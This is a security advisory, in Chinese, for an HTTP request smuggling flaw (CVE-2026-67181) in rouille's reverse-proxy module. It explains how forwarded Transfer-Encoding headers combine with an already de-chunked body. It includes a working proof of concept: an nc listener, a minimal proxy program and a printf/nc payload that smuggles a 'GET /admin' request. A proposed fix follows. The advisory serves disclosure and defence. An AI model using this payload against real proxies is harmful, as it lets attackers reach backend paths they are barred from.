
安全公告:通过 Transfer-Encoding 反同步实现的 HTTP 请求走私(rouille)
分配的 CVE ID: CVE-2026-67181
rouille::proxy::proxy 将客户端的 Transfer-Encoding 头原样转发给后端,但写入的请求体却是 tiny_http 已经去分块后的内容。它从不自行生成 Content-Length。后端被告知请求体是分块(chunked)的,收到的却是未分块的字节,因此决定后端认为请求体在哪里结束的是客户端,而不是 rouille。
仓库 URL:https://github.com/tomaka/rouille
| 首次受影响 | 0.3.3(2016-12-03),即引入 src/proxy.rs 的版本 |
| 最后受影响 | 3.6.2(2023-04-24),即当前发布版本 |
| 不受影响 | 0.3.2 及更早版本,它们没有代理模块 |
| 已修复版本 | 撰写本文时尚无修复版本 |
src/proxy.rs 在 3.6.2 标签与当前 master 之间逐字节相同。只有调用 proxy::proxy 或 proxy::full_proxy 的应用程序受影响。
CWE-444(HTTP 请求的不一致解释)。
CVSS 4.0 基础评分 6.3(中危)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
远程、未认证的客户端向充当反向代理的 rouille 应用程序发送原始 HTTP。无需凭据或用户交互。
影响取决于后端。无论 Connection: close 如何都进行流水线处理的后端,以及位于 rouille 与源站之间的任何连接池中间件,都会对走私的请求进行处理。遵守 Connection: close 的后端,其最终收到的请求体也会与客户端发送的、以及 rouille 观测到的请求体不同。
tiny_http 在存在任何 Transfer-Encoding 头时都会去分块,并丢弃 Content-Length。
tiny_http-0.12.0/src/request.rs,第 149 至 159 行:
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs,第 218 至 221 行:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
rouille/src/proxy.rs 随后转发除 Connection 之外的所有头,并复制解码后的请求体。第 167 至 174 行:
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
客户端的 Transfer-Encoding: chunked 在第 171 行被保留并继续传递。第 174 行写入的是 Decoder 生成的明文。由于从未写入 Content-Length,后端没有其他可用的分帧依据,便会对攻击者选择的明文应用分块解析。
第 1 步:在 8001 端口启动一个原始监听器作为后端,并显示 rouille 发送的字节。
nc -l 127.0.0.1 8001 | cat -v
第 2 步:在 8000 端口启动一个 rouille 前端。
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
第 3 步:发送一个正确分块的请求,其解码后的请求体本身是一个立即结束的分块流,随后再跟第二个请求。这个唯一分块的长度为 0x3d = 61 字节。
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
结果:第 1 步中的监听器显示 rouille 声明使用分块分帧,然后发送明文:
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
遵守 Transfer-Encoding: chunked 的后端会读取分块大小行 0,据此判断请求体为空,并将剩余的 56 字节解析为一个新请求。
后端看到的请求体既不同于客户端发送的字节,也不同于 rouille 读取到的字节。任何对请求体进行记录、审计或镜像的上游组件,都会记录到与后端实际处理内容不同的内容。
当后端不顾 Connection: close 仍然进行流水线处理,或者 rouille 与源站之间存在连接池中间件时,尾部字节就会变成第二个请求,其方法和路径由攻击者选定。
客户端的 Content-Length 也会被转发,尽管 tiny_http 忽略了它,因此一个优先采用 Content-Length 而非 Transfer-Encoding 的后端会直接产生 CL.TE 去同步。
不要转发那些描述 rouille 已经解码的请求体的分帧头。在 src/proxy.rs 中,扩展第 167 行的跳过逻辑:
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
然后发出与实际写入内容匹配的分帧:缓存请求体并发送准确的 Content-Length,或者自行重新分块并发送 Transfer-Encoding: chunked,然后再写第 173 行的终止 \r\n\r\n。